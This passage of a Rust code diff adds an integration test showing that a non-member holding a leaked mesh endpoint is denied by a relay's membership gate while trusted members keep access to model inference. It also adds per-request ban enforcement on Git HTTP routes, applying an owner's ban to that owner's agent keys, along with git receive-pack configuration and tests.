+        .startup_timeout(Duration::from_secs(180))
+        .owner_key(env("MESH_OWNER_KEY")?)
+        .owner_required(true)
+        .build();
+    let node = client::start(cfg).await?;
+    let _ = node.join_token(&leaked_endpoint).await;
+
+    let http = reqwest::Client::new();
+    let base = node.api_base_url().to_string();
+    match wait_for_model(&http, &base, stranger_window()).await? {
+        Some(model) => {
+            println!("SEEN:{model}");
+            match try_completion(&http, &base, &model).await {
+                Ok(content) => println!("INFER_OK:{content}"),
+                Err(error) => println!("INFER_FAIL:{error}"),
+            }
+        }
+        None => println!("NONE"),
+    }
+    let _ = node.stop().await;
+    std::process::exit(0);
+}
+
+// ── Orchestrator ─────────────────────────────────────────────────────────────
+
+fn orchestrate() -> anyhow::Result<()> {
+    let model = std::env::var("MESH_SMOKE_MODEL").unwrap_or_else(|_| DEFAULT_MODEL.to_string());
+    eprintln!("[lifecycle] model: {model}");
+    let admin =
+        std::env::var("BUZZ_ADMIN_BIN").unwrap_or_else(|_| "target/ci/buzz-admin".to_string());
+    anyhow::ensure!(
+        std::path::Path::new(&admin).exists(),
+        "buzz-admin binary not found at {admin} (set BUZZ_ADMIN_BIN)"
+    );
+
+    let scratch = std::env::temp_dir().join(format!("buzz-mesh-lifecycle-{}", std::process::id()));
+    std::fs::create_dir_all(&scratch)?;
+
+    // Nostr identities: A (serve member), B (client member), C (stranger).
+    let member_a = Keys::generate();
+    let member_b = Keys::generate();
+    let stranger = Keys::generate();
+
+    // MeshLLM owner keystores, one per role. The orchestrator keeps the owner
+    // ids so the serve role can gate on the exact expected identity set.
+    let make_owner = |name: &str| -> anyhow::Result<(String, String)> {
+        let keypair = OwnerKeypair::generate();
+        let path = scratch.join(format!("{name}.keystore.json"));
+        save_keystore(&path, &keypair, None, true)
+            .map_err(|error| anyhow::anyhow!("saving {name} keystore: {error}"))?;
+        Ok((path.display().to_string(), keypair.owner_id()))
+    };
+    let (serve_key, serve_owner_id) = make_owner("serve")?;
+    let (client_key, client_owner_id) = make_owner("client")?;
+    let (stranger_key, _stranger_owner_id) = make_owner("stranger")?;
+    let expected_owners = format!("{serve_owner_id},{client_owner_id}");
+
+    // MEMBERSHIP: A and B become relay members via buzz-admin (publishes the
+    // kind:13534 roster snapshot). C is deliberately not added.
+    for (label, keys) in [("A", &member_a), ("B", &member_b)] {
+        let status = Command::new(&admin)
+            .args(["add-member", "--pubkey", &keys.public_key().to_hex()])
+            .status()?;
+        anyhow::ensure!(status.success(), "buzz-admin add-member {label} failed");
+        eprintln!(
+            "[lifecycle] member {label} added: {}",
+            keys.public_key().to_hex()
+        );
+    }
+
+    // Isolated HOMEs (mesh-llm keeps node identity under ~/.mesh-llm), with
+    // the native runtime + HF caches resolved from the real environment first.
+    let native_cache = std::env::var_os("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR")
+        .map(std::path::PathBuf::from)
+        .unwrap_or(real_cache_dir()?.join("mesh-llm/native-runtimes"));
+    let hf_cache = std::env::var_os("HF_HUB_CACHE")
+        .map(std::path::PathBuf::from)
+        .unwrap_or(real_cache_dir()?.join("huggingface/hub"));
+    let role_home = |name: &str| -> anyhow::Result<String> {
+        let home = scratch.join(format!("{name}-home"));
+        std::fs::create_dir_all(&home)?;
+        Ok(home.display().to_string())
+    };
+
+    let exe = std::env::current_exe()?;
+    let secret_hex = |keys: &Keys| format!("{}", keys.secret_key().display_secret());
+
+    // SERVE child (member A).
+    eprintln!("[lifecycle] starting SERVE member (relay-derived allowlist)...");
+    let mut serve_child = Command::new(&exe)
+        .env("MESH_ROLE", "serve")
+        .env("MESH_SMOKE_MODEL", &model)
+        .env("BUZZ_MEMBER_NSEC", secret_hex(&member_a))
+        .env("MESH_OWNER_KEY", &serve_key)
+        .env("MESH_EXPECTED_OWNERS", &expected_owners)
+        .env("HOME", role_home("serve")?)
+        .env("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR", &native_cache)
+        .env("HF_HUB_CACHE", &hf_cache)
+        .stdout(Stdio::piped())
+        .stderr(Stdio::inherit())
+        .spawn()?;
+    let serve_lines = spawn_line_reader(
+        serve_child
+            .stdout
+            .take()
+            .ok_or_else(|| anyhow::anyhow!("no serve stdout"))?,
+    );
+    let serve_guard = KillOnDrop(&mut serve_child);
+    expect_line(&serve_lines, "STATUS_PUBLISHED", Duration::from_secs(180))?;
+    eprintln!("[lifecycle] serve member published its discovery note");
+
+    // CLIENT child (member B) — started now so the serve node can see B's
+    // owner binding on the relay and admit it. stdin stays piped for the
+    // post-attack VERIFY_AGAIN request.
+    eprintln!("[lifecycle] starting CLIENT member (relay-driven join)...");
+    let mut client_child = Command::new(&exe)
+        .env("MESH_ROLE", "client")
+        .env("BUZZ_MEMBER_NSEC", secret_hex(&member_b))
+        .env("MESH_OWNER_KEY", &client_key)
+        .env("HOME", role_home("client")?)
+        .env("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR", &native_cache)
+        .env("HF_HUB_CACHE", &hf_cache)
+        .stdin(Stdio::piped())
+        .stdout(Stdio::piped())
+        .stderr(Stdio::inherit())
+        .spawn()?;
+    let client_lines = spawn_line_reader(
+        client_child
+            .stdout
+            .take()
+            .ok_or_else(|| anyhow::anyhow!("no client stdout"))?,
+    );
+    let mut client_stdin = client_child
+        .stdin
+        .take()
+        .ok_or_else(|| anyhow::anyhow!("no client stdin"))?;
+    let client_guard = KillOnDrop(&mut client_child);
+
+    let allowlist = expect_line(&serve_lines, "ALLOWLIST:", Duration::from_secs(300))?;
+    anyhow::ensure!(
+        allowlist.split(',').map(str::trim).collect::<BTreeSet<_>>()
+            == BTreeSet::from([serve_owner_id.as_str(), client_owner_id.as_str()]),
+        "LIFECYCLE FAIL: serve allowlist {allowlist} is not exactly the expected member owners"
+    );
+    eprintln!("[lifecycle] PASS 1/6: relay-derived allowlist is exactly {{A, B}}: {allowlist}");
+    let endpoint = expect_line(&serve_lines, "ENDPOINT:", Duration::from_secs(600))?;
+    eprintln!("[lifecycle] serve endpoint acquired (relay advertisement lands with READY)");
+    let served = expect_line(&serve_lines, "READY:", Duration::from_secs(900))?;
+    eprintln!("[lifecycle] PASS 2/6: serve member ready + advertised model: {served}");
+
+    // Client verdict: discovery + join + first inference.
+    let (which, seen) = expect_one_of(&client_lines, &["SEEN:", "NONE"], Duration::from_secs(900))?;
+    anyhow::ensure!(
+        which == "SEEN:",
+        "LIFECYCLE FAIL: client member never saw the model via relay-driven join"
+    );
+    eprintln!("[lifecycle] PASS 3/6: client member discovered + joined via relay, sees: {seen}");
+    let (which, detail) = expect_one_of(
+        &client_lines,
+        &["INFER_OK:", "INFER_FAIL:"],
+        Duration::from_secs(180),
+    )?;
+    anyhow::ensure!(
+        which == "INFER_OK:",
+        "LIFECYCLE FAIL: client saw the model but inference did not route: {detail}"
+    );
+    eprintln!("[lifecycle] PASS 4/6: inference routed over the mesh: {detail:?}");
+
+    // STRANGER child (C): must be denied by the relay's membership gate and
+    // must not route inference through the mesh.
+    eprintln!("[lifecycle] starting STRANGER (non-member, leaked endpoint)...");
+    let mut stranger_child = Command::new(&exe)
+        .env("MESH_ROLE", "stranger")
+        .env("BUZZ_MEMBER_NSEC", secret_hex(&stranger))
+        .env("MESH_OWNER_KEY", &stranger_key)
+        .env("MESH_LEAKED_ENDPOINT", &endpoint)
+        .env("HOME", role_home("stranger")?)
+        .env("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR", &native_cache)
+        .env("HF_HUB_CACHE", &hf_cache)
+        .stdout(Stdio::piped())
+        .stderr(Stdio::inherit())
+        .spawn()?;
+    let stranger_lines = spawn_line_reader(
+        stranger_child
+            .stdout
+            .take()
+            .ok_or_else(|| anyhow::anyhow!("no stranger stdout"))?,
+    );
+    let stranger_guard = KillOnDrop(&mut stranger_child);
+
+    // Relay leg: only the relay's own membership rejection counts as denied.
+    let (which, detail) = expect_one_of(
+        &stranger_lines,
+        &["RELAY_DENIED_MEMBERSHIP", "RELAY_AUTH_OK:", "RELAY_ERR:"],
+        Duration::from_secs(120),
+    )?;
+    match which {
+        "RELAY_DENIED_MEMBERSHIP" => {
+            eprintln!("[lifecycle] PASS 5/6: relay rejected the stranger's NIP-42 auth (membership gate)");
+        }
+        "RELAY_AUTH_OK:" => anyhow::bail!(
+            "LIFECYCLE FAIL: membership-gated relay authenticated a non-member (saw {detail} statuses)"
+        ),
+        _ => anyhow::bail!(
+            "LIFECYCLE INCONCLUSIVE: stranger relay connect failed for a non-membership reason: {detail}"
+        ),
+    }
+
+    // Mesh leg: the stranger must not complete an inference.
+    let (which, detail) = expect_one_of(
+        &stranger_lines,
+        &["SEEN:", "NONE"],
+        stranger_window() + Duration::from_secs(300),
+    )?;
+    let stranger_infer = if which == "SEEN:" {
+        let model = detail;
+        let (verdict, body) = expect_one_of(
+            &stranger_lines,
+            &["INFER_OK:", "INFER_FAIL:"],
+            Duration::from_secs(180),
+        )?;
+        anyhow::ensure!(
+            verdict != "INFER_OK:",
+            "LIFECYCLE FAIL: stranger reused the leaked endpoint and inferred through {model}: {body:?}"
+        );
+        format!("saw gossip for {model} but inference was rejected: {body}")
+    } else {
+        "saw no routed model".to_string()
+    };
+    // Defuse the kill-guard (the stranger exits on its own after its verdict);
+    // dropping it here would SIGKILL the child before we can read its status.
+    std::mem::forget(stranger_guard);
+    let stranger_status = wait_child(&mut stranger_child, Duration::from_secs(60), "stranger")?;
+    anyhow::ensure!(
+        stranger_status.success(),
+        "LIFECYCLE INCONCLUSIVE: stranger child exited with {stranger_status}"
+    );
+
+    // Differential health proof: the trusted client must still route
+    // inference *after* the stranger's attempt. Without this, a serve node
+    // that died mid-run would make the stranger's failure look like a denial.
+    client_stdin.write_all(format!("{VERIFY_AGAIN}\n").as_bytes())?;
+    client_stdin.flush()?;
+    let (which, detail) = expect_one_of(
+        &client_lines,
+        &["INFER_AGAIN_OK:", "INFER_AGAIN_FAIL:"],
+        Duration::from_secs(180),
+    )?;
+    anyhow::ensure!(
+        which == "INFER_AGAIN_OK:",
+        "LIFECYCLE FAIL: trusted client could not infer after the stranger's attempt \
+         (serve node unhealthy — stranger denial is inconclusive): {detail}"
+    );
+    eprintln!(
+        "[lifecycle] PASS 6/6: stranger denied ({stranger_infer}) while trusted inference \
+         still routes: {detail:?}"
+    );
+
+    eprintln!("[lifecycle] PASS: full relay-driven mesh lifecycle verified");
+    drop(client_guard);
+    let _ = wait_child(&mut client_child, Duration::from_secs(60), "client");
+    drop(serve_guard);
+    let _ = serve_child.wait();
+    let _ = std::fs::remove_dir_all(&scratch);
+    Ok(())
+}
+
+// ── Child-process plumbing ───────────────────────────────────────────────────
+
+/// Lines from a child's stdout, pumped by a dedicated reader thread so waits
+/// can enforce hard deadlines (`BufRead::lines` alone blocks indefinitely).
+struct ChildLines {
+    rx: mpsc::Receiver<std::io::Result<String>>,
+}
+
+fn spawn_line_reader(stdout: ChildStdout) -> ChildLines {
+    let (tx, rx) = mpsc::channel();
+    std::thread::spawn(move || {
+        for line in std::io::BufReader::new(stdout).lines() {
+            if tx.send(line).is_err() {
+                break;
+            }
+        }
+    });
+    ChildLines { rx }
+}
+
+/// Wait (with a hard deadline) for a line starting with `prefix`; returns the
+/// suffix. Non-matching lines are skipped.
+fn expect_line(lines: &ChildLines, prefix: &str, timeout: Duration) -> anyhow::Result<String> {
+    expect_one_of(lines, &[prefix], timeout).map(|(_, rest)| rest)
+}
+
+/// Wait (with a hard deadline) for a line starting with any of `prefixes`;
+/// returns the matched prefix and the suffix.
+fn expect_one_of<'a>(
+    lines: &ChildLines,
+    prefixes: &[&'a str],
+    timeout: Duration,
+) -> anyhow::Result<(&'a str, String)> {
+    let deadline = Instant::now() + timeout;
+    loop {
+        let remaining = deadline
+            .checked_duration_since(Instant::now())
+            .ok_or_else(|| anyhow::anyhow!("timed out waiting for one of {prefixes:?}"))?;
+        match lines.rx.recv_timeout(remaining) {
+            Ok(Ok(line)) => {
+                for prefix in prefixes {
+                    if let Some(rest) = line.strip_prefix(prefix) {
+                        return Ok((prefix, rest.to_string()));
+                    }
+                }
+            }
+            Ok(Err(error)) => {
+                anyhow::bail!("child stdout read error before {prefixes:?}: {error}")
+            }
+            Err(mpsc::RecvTimeoutError::Timeout) => {
+                anyhow::bail!("timed out waiting for one of {prefixes:?}")
+            }
+            Err(mpsc::RecvTimeoutError::Disconnected) => {
+                anyhow::bail!("child exited before printing one of {prefixes:?}")
+            }
+        }
+    }
+}
+
+/// Wait for a child to exit, killing it if the deadline passes.
+fn wait_child(child: &mut Child, timeout: Duration, label: &str) -> anyhow::Result<ExitStatus> {
+    let deadline = Instant::now() + timeout;
+    loop {
+        if let Some(status) = child.try_wait()? {
+            return Ok(status);
+        }
+        if Instant::now() > deadline {
+            let _ = child.kill();
+            let _ = child.wait();
+            anyhow::bail!("{label} child exceeded {timeout:?} and was killed");
+        }
+        std::thread::sleep(Duration::from_millis(200));
+    }
+}
+
+/// Kill the child on drop so a failed assertion never leaks a process.
+struct KillOnDrop<'a>(&'a mut Child);
+impl Drop for KillOnDrop<'_> {
+    fn drop(&mut self) {
+        let _ = self.0.kill();
+    }
+}
+
+/// The real user's OS cache dir, resolved before HOME is overridden for the
+/// child processes.
+fn real_cache_dir() -> anyhow::Result<std::path::PathBuf> {
+    let home = std::env::var("HOME").map_err(|_| anyhow::anyhow!("HOME is not set"))?;
+    #[cfg(target_os = "macos")]
+    return Ok(std::path::PathBuf::from(home).join("Library/Caches"));
+    #[cfg(not(target_os = "macos"))]
+    return Ok(std::path::PathBuf::from(home).join(".cache"));
+}
+
+/// Poll `/models` until a model id appears or the window closes.
+async fn wait_for_model(
+    http: &reqwest::Client,
+    api_base: &str,
+    window: Duration,
+) -> anyhow::Result<Option<String>> {
+    let url = format!("{api_base}/models");
+    let deadline = Instant::now() + window;
+    while Instant::now() < deadline {
+        tokio::time::sleep(Duration::from_secs(3)).await;
+        if let Ok(resp) = http.get(&url).send().await {
+            let body = resp.text().await.unwrap_or_default();
+            if let Ok(json) = serde_json::from_str::<serde_json::Value>(&body) {
+                if let Some(id) = json["data"].get(0).and_then(|m| m["id"].as_str()) {
+                    return Ok(Some(id.to_string()));
+                }
+            }
+        }
+    }
+    Ok(None)
+}
+
+/// One chat completion against a node's OpenAI endpoint; Ok(content) only if
+/// it really routed and produced non-empty output.
+async fn try_completion(
+    http: &reqwest::Client,
+    api_base: &str,
+    model: &str,
+) -> anyhow::Result<String> {
+    let resp = http
+        .post(format!("{api_base}/chat/completions"))
+        .timeout(Duration::from_secs(120))
+        .json(&serde_json::json!({
+            "model": model,
+            "messages": [{"role": "user", "content": "Reply with exactly one word: PONG"}],
+            "max_tokens": 16,
+            "temperature": 0.0
+        }))
+        .send()
+        .await?;
+    let status = resp.status();
+    let body = resp.text().await?;
+    if !status.is_success() {
+        anyhow::bail!("{status}: {body}");
+    }
+    let content = serde_json::from_str::<serde_json::Value>(&body)?["choices"][0]["message"]
+        ["content"]
+        .as_str()
+        .unwrap_or("")
+        .to_string();
+    if content.trim().is_empty() {
+        anyhow::bail!("empty content");
+    }
+    Ok(content)
+}
diff --git a/crates/buzz-relay/src/api/git/cas_publish.rs b/crates/buzz-relay/src/api/git/cas_publish.rs
index c213e2913e..50bb36d818 100644
--- a/crates/buzz-relay/src/api/git/cas_publish.rs
+++ b/crates/buzz-relay/src/api/git/cas_publish.rs
@@ -1370,6 +1370,15 @@ mod tests {
         );
     }
 
+    #[test]
+    fn published_head_moves_to_surviving_branch_after_current_branch_deletion() {
+        let refs = BTreeMap::from([("refs/heads/master".to_string(), "1".repeat(40))]);
+        assert_eq!(
+            resolve_published_head(&refs, "refs/heads/main".to_string(), "refs/heads/main"),
+            "refs/heads/master"
+        );
+    }
+
     #[test]
     fn digest_from_key_strips_prefix() {
         let k = format!("manifests/{}", "a".repeat(64));
diff --git a/crates/buzz-relay/src/api/git/transport.rs b/crates/buzz-relay/src/api/git/transport.rs
index 11c4f6d35b..53e3f59463 100644
--- a/crates/buzz-relay/src/api/git/transport.rs
+++ b/crates/buzz-relay/src/api/git/transport.rs
@@ -224,10 +224,95 @@ impl axum::extract::FromRequestParts<Arc<AppState>> for GitAuth {
             return Err((StatusCode::FORBIDDEN, "restricted: not a relay member").into_response());
         }
 
+        deny_banned_git_principal(&state.db, tenant.community(), &pubkey, auth_tag).await?;
+
         Ok(GitAuth { pubkey, tenant })
     }
 }
 
+/// Deny banned principals on every Git HTTP request.
+///
+/// Git runs outside the WebSocket authentication path, so a valid NIP-98
+/// credential and channel membership are not enough — neither reflects a
+/// moderation ban. Git credentials are also deliberately reused across a
+/// session (see the replay notes above), so no session expiry would close the
+/// gap on its own. Re-read the durable ban per request instead.
+///
+/// Cascades to the proven NIP-OA owner, matching the NIP-42 gate in
+/// `handlers::auth`: banning a human must also revoke their agents, or the ban
+/// is bypassable by cloning and pushing through an agent key.
+async fn deny_banned_git_principal(
+    db: &buzz_db::Db,
+    community: buzz_core::CommunityId,
+    pubkey: &nostr::PublicKey,
+    auth_tag: Option<&str>,
+) -> Result<(), Response> {
+    let agent = git_restriction_state(db, community, pubkey).await?;
+
+    // Skip the owner read when the agent is already banned: the denial is
+    // identical either way. Mirrors the WebSocket cascade's short-circuit.
+    let owner = if agent.banned {
+        None
+    } else {
+        crate::api::relay_members::extract_nip_oa_owner(pubkey.as_bytes(), auth_tag)
+    };
+    let owner_state = match owner {
+        Some(owner) => Some(git_restriction_state(db, community, &owner).await?),
+        None => None,
+    };
+
+    enforce_git_ban_cascade(&agent, owner_state.as_ref()).map_err(|status| {
+        warn!(
+            pubkey = %pubkey.to_hex(),
+            owner = ?owner.map(|owner| owner.to_hex()),
+            "git: community ban denied request"
+        );
+        (status, "blocked: banned from this community").into_response()
+    })
+}
+
+/// One restriction read, failing closed with 503.
+///
+/// A restriction-store outage must not be reported to the client as a
+/// permission decision — 503 says "retry", 403 would claim a ban that was
+/// never read.
+async fn git_restriction_state(
+    db: &buzz_db::Db,
+    community: buzz_core::CommunityId,
+    pubkey: &nostr::PublicKey,
+) -> Result<buzz_db::moderation::RestrictionState, Response> {
+    db.moderation_restriction_state(community, pubkey.as_bytes())
+        .await
+        .map_err(|error| {
+            warn!(pubkey = %pubkey.to_hex(), error = %error, "git: ban lookup failed closed");
+            (StatusCode::SERVICE_UNAVAILABLE, "authorization unavailable").into_response()
+        })
+}
+
+fn enforce_git_ban(restriction: &buzz_db::moderation::RestrictionState) -> Result<(), StatusCode> {
+    if restriction.banned {
+        Err(StatusCode::FORBIDDEN)
+    } else {
+        Ok(())
+    }
+}
+
+/// Either principal's ban denies the request; `None` owner means no attested
+/// owner to inherit from.
+///
+/// Split from the DB reads so agent→owner precedence stays unit-testable
+/// without Postgres.
+fn enforce_git_ban_cascade(
+    agent: &buzz_db::moderation::RestrictionState,
+    owner: Option<&buzz_db::moderation::RestrictionState>,
+) -> Result<(), StatusCode> {
+    enforce_git_ban(agent)?;
+    match owner {
+        Some(owner) => enforce_git_ban(owner),
+        None => Ok(()),
+    }
+}
+
 /// Construct the repo-root NIP-98 `u` URL expected for a git HTTP request.
 ///
 /// The host is always the server-resolved tenant host. `config_relay_url` only
@@ -1064,7 +1149,7 @@ pub async fn receive_pack(
         state.config.bind_addr.port()
     );
     let hooks_dir = repo.path().join("hooks").display().to_string();
-    let hook_env = vec![
+    let mut hook_env = vec![
         ("BUZZ_HOOK_URL", hook_url),
         (
             "BUZZ_HOOK_SECRET",
@@ -1077,13 +1162,8 @@ pub async fn receive_pack(
             auth.tenant.community().as_uuid().to_string(),
         ),
         ("BUZZ_PUSHER_PUBKEY", pusher_hex.clone()),
-        // Override any repo-local core.hooksPath setting; defense in
-        // depth even though the hydrated workspace has no inherited
-        // config.
-        ("GIT_CONFIG_COUNT", "1".to_string()),
-        ("GIT_CONFIG_KEY_0", "core.hooksPath".to_string()),
-        ("GIT_CONFIG_VALUE_0", hooks_dir),
     ];
+    hook_env.extend(receive_pack_git_config(hooks_dir));
 
     // Run receive-pack against the tempdir. Returns the *owned* subprocess
     // output (PackOutput) — crucially NOT a Response, so the post-push
@@ -1111,6 +1191,23 @@ pub async fn receive_pack(
     Ok(finalize_push(&state, ctx).await)
 }
 
+/// Per-process git configuration for the hydrated receive-pack workspace.
+fn receive_pack_git_config(hooks_dir: String) -> Vec<(&'static str, String)> {
+    vec![
+        // Override any repo-local core.hooksPath setting; defense in depth
+        // even though the hydrated workspace has no inherited config.
+        ("GIT_CONFIG_COUNT", "2".to_string()),
+        ("GIT_CONFIG_KEY_0", "core.hooksPath".to_string()),
+        ("GIT_CONFIG_VALUE_0", hooks_dir),
+        // A bare repository rejects deletion of its symbolic HEAD branch by
+        // default. Hydrated repositories are ephemeral, and cas_publish
+        // selects a surviving branch for the next manifest HEAD, so allow
+        // receive-pack to apply the deletion before that selection runs.
+        ("GIT_CONFIG_KEY_1", "receive.denyDeleteCurrent".to_string()),
+        ("GIT_CONFIG_VALUE_1", "ignore".to_string()),
+    ]
+}
+
 /// Buffered output of a `git --stateless-rpc` subprocess.
 ///
 /// The handler holds this as an owned value between subprocess completion
@@ -1921,11 +2018,148 @@ mod track_c_tests {
     use buzz_core::CommunityId;
     use nostr::{EventBuilder, Keys, Kind, Tag};
     use std::collections::BTreeMap;
+    use std::io::Write;
+    use std::process::Output;
 
     fn oid_sha1() -> String {
         "cb09a769da1c01f458fa6959d4e8eded38fac8d3".to_string()
     }
 
+    fn run_test_git(cwd: &Path, args: &[&str], extra_env: &[(&str, String)]) -> Output {
+        let mut cmd = std::process::Command::new("git");
+        cmd.current_dir(cwd)
+            .args(args)
+            .env_clear()
+            .env("PATH", std::env::var("PATH").unwrap_or_default())
+            .env("GIT_CONFIG_NOSYSTEM", "1")
+            .env("GIT_CONFIG_GLOBAL", "/dev/null")
+            .env("HOME", "/dev/null");
+        for (key, value) in extra_env {
+            cmd.env(key, value);
+        }
+        cmd.output().expect("run git")
+    }
+
+    fn run_test_receive_pack(repo: &Path, request: &[u8], extra_env: &[(&str, String)]) -> Output {
+        let mut cmd = std::process::Command::new("git");
+        cmd.arg("receive-pack")
+            .arg("--stateless-rpc")
+            .arg(repo)
+            .stdin(std::process::Stdio::piped())
+            .stdout(std::process::Stdio::piped())
+            .stderr(std::process::Stdio::piped())
+            .env_clear()
+            .env("PATH", std::env::var("PATH").unwrap_or_default())
+            .env("GIT_CONFIG_NOSYSTEM", "1")
+            .env("GIT_CONFIG_GLOBAL", "/dev/null")
+            .env("HOME", "/dev/null");
+        for (key, value) in extra_env {
+            cmd.env(key, value);
+        }
+
+        let mut child = cmd.spawn().expect("spawn receive-pack");
+        child
+            .stdin
+            .take()
+            .expect("receive-pack stdin")
+            .write_all(request)
+            .expect("write receive-pack request");
+        child.wait_with_output().expect("wait for receive-pack")
+    }
+
+    fn assert_git_success(output: Output, operation: &str) {
+        assert!(
+            output.status.success(),
+            "{operation} failed: {}",
+            String::from_utf8_lossy(&output.stderr)
+        );
+    }
+
+    #[test]
+    fn receive_pack_config_allows_deleting_current_branch() {
+        let root = tempfile::TempDir::new().expect("tempdir");
+        let remote = root.path().join("remote.git");
+        let source = root.path().join("source");
+        let remote_arg = remote.to_str().expect("utf-8 remote path");
+        let source_arg = source.to_str().expect("utf-8 source path");
+
+        assert_git_success(
+            run_test_git(
+                root.path(),
+                &["init", "--bare", "--initial-branch=main", remote_arg],
+                &[],
+            ),
+            "initialize bare remote",
+        );
+        assert_git_success(
+            run_test_git(
+                root.path(),
+                &["init", "--initial-branch=main", source_arg],
+                &[],
+            ),
+            "initialize source repository",
+        );
+        assert_git_success(
+            run_test_git(source.as_path(), &["config", "user.name", "Buzz Test"], &[]),
+            "configure user name",
+        );
+        assert_git_success(
+            run_test_git(
+                source.as_path(),
+                &["config", "user.email", "buzz-test@example.com"],
+                &[],
+            ),
+            "configure user email",
+        );
+        std::fs::write(source.join("README.md"), "test\n").expect("write fixture");
+        assert_git_success(
+            run_test_git(source.as_path(), &["add", "README.md"], &[]),
+            "stage fixture",
+        );
+        assert_git_success(
+            run_test_git(source.as_path(), &["commit", "-m", "fixture"], &[]),
+            "commit fixture",
+        );
+        assert_git_success(
+            run_test_git(
+                source.as_path(),
+                &["push", remote_arg, "main:main", "main:master"],
+                &[],
+            ),
+            "seed main and master",
+        );
+
+        let oid_output = run_test_git(remote.as_path(), &["rev-parse", "refs/heads/main"], &[]);
+        assert!(oid_output.status.success());
+        let old_oid = String::from_utf8(oid_output.stdout)
+            .expect("utf-8 oid")
+            .trim()
+            .to_string();
+        let command = format!(
+            "{old_oid} {} refs/heads/main\0report-status\n",
+            "0".repeat(40)
+        );
+        let mut request = format!("{:04x}", command.len() + 4).into_bytes();
+        request.extend_from_slice(command.as_bytes());
+        request.extend_from_slice(b"0000");
+
+        let git_config = receive_pack_git_config(remote.join("hooks").display().to_string());
+        let output = run_test_receive_pack(remote.as_path(), &request, &git_config);
+        assert!(
+            output.status.success(),
+            "receive-pack failed: {}",
+            String::from_utf8_lossy(&output.stderr)
+        );
+        assert!(
+            !receive_pack_report_rejected(&output.stdout),
+            "receive-pack rejected the deletion: {}",
+            String::from_utf8_lossy(&output.stdout)
+        );
+
+        assert!(!remote.join("refs/heads/main").exists());
+        assert!(remote.join("refs/heads/master").exists());
+    }
+
     /// A gzip-encoded request body is transparently inflated before it
     /// reaches the git subprocess. Git's smart-HTTP client gzips the
     /// upload-pack/receive-pack request body past a size threshold (fires
@@ -2461,6 +2695,76 @@ mod sec005_read_gate_tests {
         assert!(!read_role_allows(Some("")), "empty role must deny");
     }
 
+    #[test]
+    fn durable_ban_denies_git_even_with_otherwise_valid_auth() {
+        let restriction = buzz_db::moderation::RestrictionState {
+            banned: true,
+            muted_until: None,
+        };
+
+        assert_eq!(enforce_git_ban(&restriction), Err(StatusCode::FORBIDDEN));
+    }
+
+    #[test]
+    fn timeout_without_ban_does_not_revoke_git_access() {
+        let restriction = buzz_db::moderation::RestrictionState {
+            banned: false,
+            muted_until: Some(chrono::Utc::now()),
+        };
+
+        assert_eq!(enforce_git_ban(&restriction), Ok(()));
+    }
+
+    fn restriction(banned: bool) -> buzz_db::moderation::RestrictionState {
+        buzz_db::moderation::RestrictionState {
+            banned,
+            muted_until: None,
+        }
+    }
+
+    // ── Agent → owner ban cascade ────────────────────────────────────────
+    //
+    // Git accepts NIP-OA attestations on the signed NIP-98 token, so an agent
+    // key can act for its owner (`deny_banned_git_principal`). The NIP-42 gate
+    // in `handlers::auth` cascades the ban check to the proven owner for that
+    // reason, and Git must agree: if only the presented key were checked, a
+    // banned human would keep clone and push access through any agent key.
+
+    #[test]
+    fn banned_owner_denies_git_for_an_otherwise_clear_agent() {
+        assert_eq!(
+            enforce_git_ban_cascade(&restriction(false), Some(&restriction(true))),
+            Err(StatusCode::FORBIDDEN),
+            "an agent must inherit its proven owner's ban"
+        );
+    }
+
+    #[test]
+    fn banned_agent_denies_git_whatever_the_owner_state() {
+        for owner in [None, Some(restriction(false)), Some(restriction(true))] {
+            assert_eq!(
+                enforce_git_ban_cascade(&restriction(true), owner.as_ref()),
+                Err(StatusCode::FORBIDDEN),
+                "a directly banned agent must be denied"
+            );
+        }
+    }
+
+    #[test]
+    fn clear_agent_and_clear_owner_allow_git() {
+        assert_eq!(
+            enforce_git_ban_cascade(&restriction(false), Some(&restriction(false))),
+            Ok(())
+        );
+    }
+
+    #[test]
+    fn clear_agent_without_attested_owner_allows_git() {
+        // No NIP-OA tag on the request: nothing to inherit, so the agent's own
+        // state decides. A missing owner must not read as a ban.
+        assert_eq!(enforce_git_ban_cascade(&restriction(false), None), Ok(()));
+    }
+
     fn announcement(keys: &Keys, tags: Vec<Tag>) -> nostr::Event {
         EventBuilder::new(Kind::Custom(30617), "")
             .tags(tags)
@@ -2795,10 +3099,18 @@ mod sec005_read_gate_tests {
         );
 
         let owner_pk = f.owner_keys.public_key().to_bytes().to_vec();
+        // Tombstone timestamped after the announcement, per NIP-09's
+        // at-or-before scoping in `soft_delete_by_coordinate`.
         let deleted =
-            f.db.soft_delete_by_coordinate(f.community, 30617, &owner_pk, &f.repo)
-                .await
-                .expect("soft delete 30617");
+            f.db.soft_delete_by_coordinate(
+                f.community,
+                30617,
+                &owner_pk,
+                &f.repo,
+                chrono::Utc::now().timestamp() + 60,
+            )
+            .await
+            .expect("soft delete 30617");
         assert!(deleted, "precondition: a live announcement row was deleted");
 
         assert!(
@@ -2808,4 +3120,129 @@ mod sec005_read_gate_tests {
             "deleted announcement must deny reads even for channel members"
         );
     }
+
+    // ── Ban gate wiring (requires Postgres) ──────────────────────────────
+    //
+    // The pure tests above fix the decision table; these prove the gate is
+    // actually wired to the durable store — that it reads the real ban row,
+    // resolves the NIP-OA owner from a live attestation, and fails closed when
+    // the store is unreachable. `deny_banned_git_principal` runs inside the
+    // `GitAuth` extractor, which every Git route (`info/refs`, `git-upload-pack`,
+    // `git-receive-pack`) goes through, so advertise, fetch and push all
+    // inherit these outcomes.
+
+    /// Community + a ban actor, without the channel/repo fixture the read-gate
+    /// tests need — the ban gate runs before any repo is resolved.
+    async fn setup_ban_community() -> (buzz_db::Db, buzz_core::CommunityId, Vec<u8>) {
+        let db = setup_db().await;
+        let host = format!("ban-git-{}.example", uuid::Uuid::new_v4().simple());
+        let community = db
+            .ensure_configured_community(&host)
+            .await
+            .expect("community")
+            .id;
+        let actor = Keys::generate().public_key().to_bytes().to_vec();
+        db.ensure_user(community, &actor).await.expect("actor");
+        (db, community, actor)
+    }
+
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn ban_gate_denies_banned_member_and_allows_clear_member() {
+        let (db, community, actor) = setup_ban_community().await;
+        let member = Keys::generate();
+        let member_pk = member.public_key().to_bytes().to_vec();
+        db.ensure_user(community, &member_pk).await.expect("member");
+
